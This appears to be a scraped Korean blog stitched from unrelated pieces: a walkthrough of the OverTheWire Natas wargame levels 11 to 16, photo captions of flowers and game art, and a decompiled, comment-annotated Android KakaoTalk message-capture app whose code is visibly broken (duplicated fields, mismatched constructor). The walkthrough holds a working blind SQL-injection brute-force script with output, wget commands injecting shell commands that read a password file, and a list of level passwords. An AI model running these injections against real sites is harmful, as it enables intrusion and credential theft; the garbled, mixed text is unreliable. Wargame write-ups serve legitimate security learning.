소스코드는 길어 보이지만 단순하게 XOR의 성질만 알면 쉽게 풀 수 있는 문제이다. XOR는 두 입력값으로 다른 값을 생산해 내지만, 두 입력값 중 어느 한 값을 결과 값에 입력하게 되면 또 다른 입력 값이 나오는 성질을 가지고 있다. 정리하면 다음과 같다.


A XOR B -> C

A XOR C -> B


xor_encrypt() 함수를 살펴보자. 해당 함수에 들어오는 인자 값은 saveData 함수에서 sercookie 함수 부분을 보면 json_encode($d)인 것을 알 수 있다. $d 값은 무슨 값일까? saveData()를 호출하는 부분을 보면 인자값으로 $data 변수가 넘어가는 것을 볼 수 있고 해당 $data 값은 loadData의 결과 값인 것을 알 수 있다.

loadData를 살펴보면 $defaultdata의 값을 현재 쿠키 값의 값을 디코딩하여 다시 설정해 준다. 그러므로 쿠키 값의 값이 $defaultData의 값과 같은 경우라면 결국 loadData()의 값은 $defaultData 값이라는 것을 알 수 있다. 페이지가 처음 로딩되었을 때 loadData()의 결과 값은 $defaultdata 변수의 값일테고 이 값은 saveData() 함수로 넘어가 결국 쿠키로 설정된다. 이 과정에서 $defaultdata는 json_encode 함수를 거친 후 xor_encrypt() 함수로 가게 된다. 그러므로 결국 xor_encrypt() 함수의 $text 값은 json_encode($defaultdata) 값이라 할 수 있다.


모든 것을 알아 냈으니 이제 패스워드가 출력되는 조건인 showpassword의 값이 yes인 쿠키 값을 만들어내야 한다. 왜냐하면 현재는 showpassword 값이 no인 쿠키값이기 때문이다.


하지만 우린 아직 키 값을 모른다. 그러므로 XOR 성질을 이용 해 키 값을 알아내야 한다. 간단하게 보기로 주어진 소스코드를 이용 해 알아내보자. 다음은 간단한 흐름이다.


base64_encode($key XOR json_encode($defaultdata)) -> Cookie Value

base64_decode(Cookie Value) XOR json_encode($defaultdata) -> $key




키 값이 나왔다. 해당 키 값을 보면 "qw8J" 값이 반복되어 있는 것을 볼 수 있다. xor 연산을 할 때 key[$i % strlen($key)]로 $key 문자열들 중에 xor 할 값을 고르게 되는데, 이때 계산되는 자리의 값은 결국 $i 값이다. 그러므로 실제로 결국 계산될 때 사용되는 문자열은 "qw8J" 이므로 해당 값을 key로 하여 쿠키를 계산 해 보면 다음과 같다.




계산된 쿠키를 적용하고 페이지를 다시한번 불러오면 패스워드를 획득 할 수 있다.




[natas11 -> natas12]

Username: natas12

URL: http://natas12.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스를 한번 살펴보자.



파일을 올릴 때 이름을 랜덤문자열로 하고 확장자를 jpg로 확정지어 업로드를 수행한다. 또 파일 크기는 1KB를 넘어서는 안된다. 하지만 이 모든 것이 클라이언트에서 이루어지기 때문에 손쉽게 해결 가능하다. 제일 쉬운 방법으로는 새로운 폼을 하나 작성 해 서버에 파일을 업로드하는 것이고, 다른 방법으로는 HTTP 헤더에서 파일 이름과 파일의 확장자를 수정 해 주는 방법이다. 여기서는 후자의 방법으로 시도해보겠다.



include 함수를 통해 패스워드 파일을 불러오는 php 파일을 작성하고 업로드 할 때 HTTP 패킷을 잡아 파일 이름 필드에서 jpg 확장자를 php 확장자로 바꾸어 전송한다. 그럼 다음과 같이 파일 업로드 경로가 나타나게 되고 그 내용에는 패스워드 파일의 내용이 불러와 출력되게 된다.




 

 


[natas12 -> natas13]

Username: natas13

URL: http://natas13.natas.labs.overthewire.org



보안 조치를 취해두었다고 하면서 오로지 이미지파일만 업로드 할 수 있다고 한다. 소스코드를 한번 살펴보자.



소스코드는 크게 바뀐 것이 없다. 이미지 파일을 체크하기 위한 exif_imagetype() 함수만 추가 되었다. 이런 파일포맷 체크 함수들은 대부분 파일포맷의 시그니처만 확인한다. 올릴려는 파일에 그림파일의 시그니처를 적절히 적어 업로드하면 쉽게 우회가 가능하다.





[natas13 -> natas14]

Username: natas14

URL: http://natas14.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



한눈에 봐도 SQL Injection 문제라는 것을 알 수 있다. 쿼리를 실행시키기만 하여도 다음 레벨의 패스워드가 출력된다. 해당 쿼리를 다시 한번 살펴보면 다음 쿼리와 동일한 쿼리이다.


SELECT * from users where username=".$_REQUEST["username"]." and password=".$_REQUEST["password"]."



위와 같이 입력하게 되면 간단하게 문제를 클리어 할 수 있다.


 


[natas14 -> natas15]

Username: natas15

URL: http://natas15.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



이번에도 SQL Injection 문제이다. 하지만 쿼리 우회문이 아닌 테이블에서 password를 빼와야 한다. 테이블에 유저가 있고 없고를 판단하는 문장으로 봐서는 Blind SQL Injection을 목표로 하는 듯 하다. 지금까지 나온 패스워드가 32글자이므로 이번 패스워드도 32글자일 확률이 많다. 그러므로 간단하게 인젝션으로 패스워드의 글자수를 알아보자.


natas16" and length(password)=32#



쿼리가 정상적으로 실행 되었을 때 나오는 문장이 출력되었다. 이걸 토대로 생각 해 보았을 때 패스워드는 32글자라는 것을 생각 할 수 있고 이전 패스워드들과 마찬가지로 대/소문자, 숫자로 이루어져있음을 추측할 수 있다.

간단하게 스크립트를 짜서 실행하면 다음과 같다.


# -*- coding: utf-8 -*-


import httplib

import urllib

import re

import base64


charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


headers = {}

username = "natas15"

password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

conn = httplib.HTTPConnection("natas15.natas.labs.overthewire.org")

base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')

headers["Authorization"] = "Basic %s" % base64string   

headers["Content-Type"] = "application/x-www-form-urlencoded"


count = 0

password = ""

value = {}

while count != 32:

    for i in charset:

        password += i

        value["username"] = 'natas16" and password LIKE BINARY "' + password + '%'

        conn.request("POST", "", urllib.urlencode(value), headers)

        read = conn.getresponse()

        data = read.read()

        if data.find("This user exists.") > 0:

            print "Found :  ", password

            count += 1

            break

        else:

            password = password[:-1]

        conn.close()


--------------------------------------------------------------------------------------------------------------------


root@kali:~/Desktop# python test2.py 

Found :   W

Found :   Wa

Found :   WaI

Found :   WaIH

Found :   WaIHE

Found :   WaIHEa

Found :   WaIHEac

Found :   WaIHEacj

Found :   WaIHEacj6

Found :   WaIHEacj63

Found :   WaIHEacj63w

Found :   WaIHEacj63wn

Found :   WaIHEacj63wnN

Found :   WaIHEacj63wnNI

Found :   WaIHEacj63wnNIB

Found :   WaIHEacj63wnNIBR

Found :   WaIHEacj63wnNIBRO

Found :   WaIHEacj63wnNIBROH

Found :   WaIHEacj63wnNIBROHe

Found :   WaIHEacj63wnNIBROHeq

Found :   WaIHEacj63wnNIBROHeqi

Found :   WaIHEacj63wnNIBROHeqi3

Found :   WaIHEacj63wnNIBROHeqi3p

Found :   WaIHEacj63wnNIBROHeqi3p9

Found :   WaIHEacj63wnNIBROHeqi3p9t

Found :   WaIHEacj63wnNIBROHeqi3p9t0

Found :   WaIHEacj63wnNIBROHeqi3p9t0m

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5n

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nh

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhm

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhmh



[natas15 -> natas16]

Username: natas16

URL: http://natas16.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



조금 더 차단되는 문자가 생긴 것 빼고는 이전과 달라진 것이 없다. 그러나 큰따옴표("")를 필터하고 있어 이전 코드는 사용하지 못한다. 이번에는 $ 쉘 커맨드를 이용 해 임의의 명령을 시도 해보자. $ 커맨드는 괄호안에 들어 있는 명령을 실행시켜주는 쉘 커맨드이다. 다음 예를 보자.



$(echo game)을 실행하면 결국 game이란 문자열을 반환하므로 소스코드에 명시되어 있는 grep 명령이 game 문자열을 dictionary.txt에서 찾아 결과를 반환하여 주었다. 원래 문제 의도라면 쉘커맨드를 이용 해서 패스워드 파일의 글자를 하나씩 cut 명령으로 추출하는 것이지만, 조금 색다른 방법으로 풀이를 해보도록 하겠다.


해당 문제랑 비슷한 문제가 natas9 계정의 문제이다. 비교적 필터하는 문자가 적기 때문에 해당 문제를 이용해서 여러 디렉토리를 살펴 볼 수 있는데, 해당 문제를 이용 해 현재 natas16 문제에서 패스워드 파일을 tmp 디렉토리로 복사하고 natas9 계정에서 tmp 디렉토리에 있는 파일을 열어 패스워드를 확인 해 볼 것이다.


wget --quiet -O - --user=natas16 --password=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh --post-data 'submit=&needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org > /dev/null


wget --quiet -O - --user=natas9 --password=W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl --post-data 'submit=&needle=;cat /tmp/natas17;' http://natas9.natas.labs.overthewire.org




natas17은 현재 제작 중인 것으로 나와 현재 레벨까지는 올클리어를 하였다.


마지막 몇 문제 빼고는 어렵지 않은 문제니 다들 한번씩 도전해 보기 바란다.


[계정 비밀번호 리스트]

natas0 : natas0

natas1 : gtVrDuiDfck831PqWsLEZy5gyDz1clto

natas2 : ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

natas3 : sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

natas4 : Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas5 : iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

natas6 : aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

natas7 : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas8 : DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas9 : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas10 : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas11 : U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas12 : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas13 : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas14 : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas15 : AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas16 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

 

 

 

원문

http://maj3sty.tistory.com/1067

 

  원래 게임의 일러스트


 

 게임카페회원이 그리신 볼리베어 스케치


 

 스케치를 토대로 채색중인 이미지


 

채색 완성후 약간의 보정을 거친 이미지


 

 

 

 

 도라지꽃 입니다.


 물위에 떠있는 풀의 꽃임


 이름 모르는 꽃


 미니 연잎


 엄청나게많은 성냥갑 을 전시용으로 만든 액자1


 엄청나게많은 성냥갑 을 전시용으로 만든 액자2


 오리탕!


 별모양 풀!


 

 

 

 

 오리탕집에서찍은 이름모르는꽃2


 이름모를꽃3


 이름모를꽃4


 뱅뱅사거리에있는 조화


 학교가는길에있는 꽃


 학교가는길에있는꽃2


 우리나라꽃 무궁화 ㅋ


 무궁화 2


 학교옆에핀 맨드라미 5개


 우리집 옥상의 화초


우리집 옥상의 깻잎이라고 추측되는 풀


'여러가지 > 이미지' 카테고리의 다른 글

13년 5월 19일 촬영사진  (0) 2013.05.20

package com.irihon.katalkcapturer;

import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.ContentResolver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.ContentObserver;
import android.database.Cursor;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.TextView;
import com.mocoplex.adlib.AdlibActivity;
import com.mocoplex.adlib.AdlibConfig;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.List;
import java.util.TimeZone;

public class CapturedMsgViewActivity extends AdlibActivity
  implements View.OnClickListener
{
  private MessageAdapter mAdapter = null;
  private boolean mIsStartFromLock = false;
  private ContentObserver mMessageObserver = new ContentObserver(new Handler())

 private ContentObserver mMessageObserver = new ContentObserver(new Handler())
  {
  public void onChange(boolean paramBoolean)// 모니터링 도중 컨텐츠의 변경이 감지되면 자동으로 호출되는 메소드
    {
      super.onChange(paramBoolean);
 //패키지내부의 CaptureedMessage  경로를 변수로 지정
      Uri localUri = Uri.parse("content://com.irihon.katalk.provider/capturedmessage/preview_message");
 //메세지ID ,받은시간, 받은메세지 내용 ,보낸이 이름 의 문자 배열을 만듬
      String[] arrayOfString = { "id", "receive_time", "msg", "sender_name" };
 //localCursor 라는 변수에 localUri에 해당하는 위치의 arrayOfString 형식의 데이터를 내림차순으로 가져온다.
      Cursor localCursor = CapturedMsgViewActivity.this.getContentResolver().query(localUri, arrayOfString, null, null, "receive_time DESC");
 //가져온데이터가 비어있지않고 가장처음커서를 가르키고 있는경우
      if ((localCursor != null) && (localCursor.moveToFirst()))
      {/*받아온 메세지를 처리하기 시작*/
 //가져온데이터가 현재 가리키는 msg열의 인덱스를 가짐
        int i = localCursor.getColumnIndex("msg");
 //가져온데이터가 현재 가리키는 id열의 인덱스를 가짐
        int j = localCursor.getColumnIndex("id");
 //가져온데이터가 현재 가리키는 보낸이를 가짐
        String str = localCursor.getString(localCursor.getColumnIndex("sender_name"));
 //가져온데이터의 id열의 j의 위치에 해당하는 값을 가져옴
        int k = localCursor.getInt(j);
 //클래스의 mSenderName변수의 내용과 가져온 보낸이가 같고 k가 id번호가 클래스의 mTopMsgId 변수보다 클때
 //즉 가져온 메세지의 정보가 신규메세지일 경우를 구분하는 부분이라고 추측됨.
        if ((CapturedMsgViewActivity.this.mSenderName.equals(str)) && (k > CapturedMsgViewActivity.this.mTopMsgId))
        {/*신규 메세지일경우의 처리*/
 //mTopMsgId를 최신의 메세지ID값을 저장 
          CapturedMsgViewActivity.this.mTopMsgId = k;
 //m 에 받아온 받은시간값의 인덱스를 저장함.
          int m = localCursor.getColumnIndex("receive_time");
 //클래스의 mMsgList변수가 비어있지 않다면
          if (CapturedMsgViewActivity.this.mMsgList != null)
 //mMsgList에 localCursor.getString(i),localCursor.getLong(m)형식의 데이터를 추가함 (i위치의 메세지내용, m위치의 받은시간)형식으로 저장됨
            CapturedMsgViewActivity.this.mMsgList.add(0, new CapturedMessage(localCursor.getString(i), localCursor.getLong(m)));
        }/*신규 메세지일경우의 처리끝*/
 //가져온 데이터를 닫음
        localCursor.close();
      }/*받아온 메세지를 처리하기 끝*/
 //클래스의 mAdapter가 널이 아니라면
      if (CapturedMsgViewActivity.this.mAdapter != null)
 //mAdapt에게 data가 변경되었다는 사실을 알려준다.
        CapturedMsgViewActivity.this.mAdapter.notifyDataSetChanged();
    }
  };
//받아온메세지를 저장할 어레이리스트를 선언함.
private ArrayList<CapturedMessage> mMsgList = null;
//보낸이를 저장할 문자열변수를 선언함.
  private String mSenderName = null;
//최신문자ID 가질 변수를 선언함.
  int mTopMsgId = -1;

 private ArrayList<CapturedMessage> mMsgList = null;
  private String mSenderName = null;
  int mTopMsgId = -1;


//대화목록삭제를 선택했을시의 경우 다이얼로그 출력으로 추측함.
private AlertDialog buildDeleteDialog(String paramString)
  {
    //대화목록삭제여부를 묻는 다이얼로그그 문자열의 타이틀과 내용을 설정해줌
    return new AlertDialog.Builder(this).setTitle(paramString + " 대화 목록 삭제").setMessage("선택하신 대화 목록을 삭제하시겠습니까?").setPositiveButton("Ok", new DialogInterface.OnClickListener(paramString)
    {
      //선택했을시 처리해주는 부분
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
 //클래스의 메세지삭제 deleteMessages(this.val$name)결과가 참이면
        if (CapturedMsgViewActivity.this.deleteMessages(this.val$name))
        {
 //인텐트 선언
          Intent localIntent = new Intent();
 //인텐트 내용 설정
          localIntent.putExtra("sender_name", CapturedMsgViewActivity.this.mSenderName);
          CapturedMsgViewActivity.this.setResult(-1, localIntent);
          CapturedMsgViewActivity.this.finish();
        }
      }
 //취소버튼 선택시 액션 설정
    }).setNegativeButton("Cancel", new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {//아무동작 하지않음
      }
    }).create();// 다이얼로그 생성
  }

/*메세지를 삭제하는 메소드*/
private boolean deleteMessages(String paramString)
  {
    //paramString의 '를 ''로 모두 변경하여 str1에 저장
    String str1 = paramString.replaceAll("'", "''");
    //sneder_name=' + str1 + ' 를 해서 str2에 저장
    String str2 = "sender_name='" + str1 + "'";
    //delete(CapturedMessageProvider.MESSAGE_CONTENTS_URI, str2, null)의 결과값을 리턴함.
    return getContentResolver().delete(CapturedMessageProvider.MESSAGE_CONTENTS_URI, str2, null) > 0;
  }

/*이미 캡쳐되어 저장된 메세지목록을 불러오는 메서드로 추측됨*/
private ArrayList<CapturedMessage> getCapturedMessageList(String paramString)
  {
    //로컬어레이리스트 라는 어레이리스트를 만듬
    ArrayList localArrayList = new ArrayList();
    //아이디 메세지 받은시간 의 배열을 만듬
    String[] arrayOfString = { "id", "msg", "receive_time" };
    //paramString의 '를 모두 ''로 치환하여 str1에 반환한다
    String str1 = paramString.replaceAll("'", "''");
    //"sender_name='" + str1 + "'" 을 str2 에 반환한다.
    String str2 = "sender_name='" + str1 + "'";
    //localCursor 라는 변수에 CapturedMessageProvider.MESSAGE_CONTENTS_URI에 해당하는 위치의 arrayOfString 형식의 데이터중 str2 조건에 해당하는 데이터를 내림차순으로 가져온다.
    Cursor localCursor = getContentResolver().query(CapturedMessageProvider.MESSAGE_CONTENTS_URI, arrayOfString, str2, null, "receive_time DESC");
    //가져온데이터가 비어있지않고 가장처음커서를 가르키고 있는경우
    if ((localCursor != null) && (localCursor.moveToFirst()))
    {
 //i 는 가져온데이터가 현재 가리키는 msg열의 인덱스를 가짐
      int i = localCursor.getColumnIndex("msg");
 //j 는 가져온데이터가 현재 가리키는 id열의 인덱스를 가짐
      int j = localCursor.getColumnIndex("id");
 //가져온데이터가 현재 가리키는 receive_time열의 인덱스를 가짐
      int k = localCursor.getColumnIndex("receive_time");
 //클래스의 mTopMsgId에 가져온데이터의 j에 해당하는 데이터를가짐
      this.mTopMsgId = localCursor.getInt(j);
 
      do//가져온데이터의 끝이 될때까지 로컬어레이리스트에 getstring(i),getstring(k) 즉 메세지,받은시간 형식으로 추가한다
        localArrayList.add(new CapturedMessage(localCursor.getString(i), localCursor.getLong(k)));
      while (localCursor.moveToNext());
 //가져온데이터를 닫는다.
      localCursor.close();
    }
 //정리가된 어레이리스트를 반환한다.
    return localArrayList;
  }

/*카카오톡을 실행시키는 메소드로 추측됨*/
private void startKakaoTalk()
  {
 //카카오톡실행할 인텐트를 설정
    Intent localIntent = getPackageManager().getLaunchIntentForPackage("com.kakao.talk");
 //로컬인텐트가 널이라면 즉 카카오톡의 정보를 받아오지 못했을경우(카카오톡이 깔려있지 않은경우로 추측)
    if (localIntent == null)
 //그냥 리턴함.
      return;
 //인텐트에 플래그를 추가함
    localIntent.addFlags(268435456);
    localIntent.addFlags(536870912);
 //인텐트를 실행한다. (카카오톡 정보를 정상적으로받아왔기떄문에 정상실행이 될것으로추측)
    startActivity(localIntent);
  }

//메모리 누수를 방지하는 메소드로 추측됨
  private void unbindDrawables(View paramView)
  {
 //paramView 가 널이 아니라면
    if (paramView != null)
      try
      {
 //praramView의 백그라운드가 널이 아니라면
        if (paramView.getBackground() != null)
   //paramView의 백그라운드의 콜백을 null로 설정해준다
          paramView.getBackground().setCallback(null);
 //paramView가 ViewGroup형으로 형변환이 가능하면?
        if ((paramView instanceof ViewGroup))
        {
   //paramView가 가지고있는 뷰의 개수를 i에 대입한다.
          int i = ((ViewGroup)paramView).getChildCount();
   //j를 1씩 증가하며 조건없이 반복한다.
          for (int j = 0; ; j++)
          {
     //j가 i이상이면
            if (j >= i)
            {
       //paramView의 모든 뷰를 삭제한다.
              ((ViewGroup)paramView).removeAllViews();
       //리턴
              return;
            }
     //paramView의 j번째의 뷰를 가져옴
            unbindDrawables(((ViewGroup)paramView).getChildAt(j));
          }
        }
      }
      catch (Exception localException)
      {
      }
  }

/*광고를 실행하는 메소드로 추정*/
 protected void initAds()
  {
    AdlibConfig.getInstance().bindPlatform("INMOBI", "com.adlib.adviews.SubAdlibAdViewInmobi");
    AdlibConfig.getInstance().bindPlatform("ADAM", "com.adlib.adviews.SubAdlibAdViewAdam");
    AdlibConfig.getInstance().bindPlatform("ADMOB", "com.adlib.adviews.SubAdlibAdViewAdmob");
    AdlibConfig.getInstance().bindPlatform("NAVER", "com.adlib.adviews.SubAdlibAdViewNaverAdPost");
    AdlibConfig.getInstance().setAdlibKey("501244330cf220394aba0547");
  }

/*서브엑티비티의 결과값을 받는데 사용하는 메소드라고 함.*/
protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    //리퀘스트코드1이 KatalkCapturerActivity.REQUEST_CODE_LOCK 이면
    if (paramInt1 == KatalkCapturerActivity.REQUEST_CODE_LOCK)
    {
      //리퀘스트코드2가 -1이면
      if (paramInt2 == -1)
 //클래스내의 mlsStartFromLock 을 true로 바꿈
        this.mIsStartFromLock = true;
    }
   //아니면
    else
      //리턴
      return;
    //호출한 엑티비티에 result코드와 인텐트를 전달함.
    setResult(0);
    finish();
  }

/**/
public void onClick(View paramView)
  {
    //입력받은뷰의 아이디를 얻어옴
    int i = paramView.getId();
    //얻어온 id가 2131230772 이면
    if (i == 2131230772)
 //buildDeleteDialog에 선택한 뷰의 보낸이를 입력하여 출력함.
      buildDeleteDialog(this.mSenderName).show();
    do//i가 2131230773이 아닐때까지 반복함
      return;
    while (i != 2131230773);
    //startkakaoTalk메서드를 호출
    startKakaoTalk();
  }

/*기본 창이 출력되었을때 기본동작*/
 public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    //2130903046에 해당하는 레이아웃을 출력
    setContentView(2130903046);
    //전달된 값을 받을 localintent를 만든다
    Intent localIntent = getIntent();
    //받아온 데이터에 "sender_name"가 있으면
    if (!localIntent.hasExtra("sender_name"))
      //종료
      finish();
    //클래스의 mSenderName 변수에 "sender_name"의 내용을 가져온다
    this.mSenderName = localIntent.getStringExtra("sender_name");
    //뷰에 텍스트를 mSenderName로 설정해준다.
    ((TextView)findViewById(2131230770)).setText(this.mSenderName);
    //클래스의 mMsgList를 getCaptureedMessageList에 mSenderName을 넣어서 반환받은 값을 저장한다.
    this.mMsgList = getCapturedMessageList(this.mSenderName);
    //클래스의 mAdapter 설정
    this.mAdapter = new MessageAdapter(this, this.mSenderName, 2130903042, 2131230732, this.mMsgList);
    //mAdapter에 변화되엇다는 알림을 보내줌
    this.mAdapter.setNotifyOnChange(true);
    //리스트뷰에 어댑터를 설정해줌
    ((ListView)findViewById(2131230774)).setAdapter(this.mAdapter);
    //
    getContentResolver().registerContentObserver(CapturedMessageProvider.MESSAGE_CONTENTS_URI, false, this.mMessageObserver);
    //레이아웃에 클릭리스너를 담
    findViewById(2131230772).setOnClickListener(this);
    findViewById(2131230773).setOnClickListener(this);
    //클래스에 mlsStartFromLock을 True를 넣어줌
    this.mIsStartFromLock = true;
    //설명이 없음
    setAdsContainer(2131230769);
  }

/*파괴되엇을때*/
protected void onDestroy()
  {
    super.onDestroy();
    //destroyAdsContainer()를 호출함
    destroyAdsContainer();
    //mAdapter를 클리어함.
    this.mAdapter.clear();
    //mAdapter 를 널로 설정해줌
    this.mAdapter = null;
    //getContentResolver()를 컨텐츠옵저버에서 제거함
    getContentResolver().unregisterContentObserver(this.mMessageObserver);
    //메모리 누수방지를위해 파괴된 뷰에 unbindDrawables를 호출함
    unbindDrawables(findViewById(2131230768));
  }

/*터치했다가 뗏을때의 상태를 반환해주는 메소드로 추측됨*/
public boolean onKeyUp(int paramInt, KeyEvent paramKeyEvent)
  {
 
    if (paramInt == 4)
    {
      setResult(-1);
      finish();
      return false;
    }
    return super.onKeyUp(paramInt, paramKeyEvent);
  }

/*포커스를 잃었다가 다시 얻었을때의 작동하는 메소드로 추측*/
  protected void onResume()
  {
    super.onResume();
    //클래스의 mIsStartFromLock가 True면
    if (this.mIsStartFromLock)
      //mIsStartFromLock를 false로 변형
      this.mIsStartFromLock = false;
    do
      return;
    //KatalkMoleSettings클래스의 isEnable메소드의 결과가Enable일 때까지 반복
    while (!KatalkMoleSettings.isEnable(getApplicationContext(), "ENABLE_LOCK"));
    //엑티비티가 실행된후 결과물을 받아서 반환함
    startActivityForResult(new Intent(this, KatalkPasswordActivity.class), KatalkCapturerActivity.REQUEST_CODE_LOCK);
  }


private class MessageAdapter extends ArrayAdapter<CapturedMessage>
  {
    private LayoutInflater mLayoutInflater = null;
    private String mSenderName = null;

    /*메세지어댑터를 설정함.*/
    public MessageAdapter(String paramInt1, int paramInt2, int paramList, List<CapturedMessage> arg5)
    {
      super(paramList, i, localList);
      this.mSenderName = paramInt2;
    }

    /*카톡을통해 얻은 받은시간정보를 변환하여 반환*/
    private String getTime(long paramLong)
    {
      SimpleDateFormat localSimpleDateFormat = new SimpleDateFormat("a HH:mm");
      GregorianCalendar localGregorianCalendar = new GregorianCalendar();
      localGregorianCalendar.setTimeZone(TimeZone.getTimeZone("Asia/Seoul"));
      localGregorianCalendar.setTimeInMillis(paramLong);
      return localSimpleDateFormat.format(localGregorianCalendar.getTime());
    }

    /*입력받은 paramint를 CapturedMessage 로 변환하여 반환함*/
    public CapturedMessage getItem(int paramInt)
    {
      return (CapturedMessage)super.getItem(paramInt);
    }

    /*입력받은paramInt의 ID를 반환함*/
    public long getItemId(int paramInt)
    {
      return super.getItemId(paramInt);
    }

    /*입력한 정보의 뷰를 반환함*/
    public View getView(int paramInt, View paramView, ViewGroup paramViewGroup)
    {
      View localView = super.getView(paramInt, paramView, paramViewGroup);
      if (localView == null)
        localView = this.mLayoutInflater.inflate(2130903042, null);
      CapturedMessage localCapturedMessage = (CapturedMessage)super.getItem(paramInt);
      ((TextView)localView.findViewById(2131230731)).setText(this.mSenderName);
      ((TextView)localView.findViewById(2131230732)).setText(localCapturedMessage.getMessage());
      ((TextView)localView.findViewById(2131230733)).setText(getTime(localCapturedMessage.getTime()));
      return localView;
    }

    /*paramint의 Enabled상태를 boolean형으로 반환함*/
    public boolean isEnabled(int paramInt)
    {
      return super.isEnabled(paramInt);
    }
  }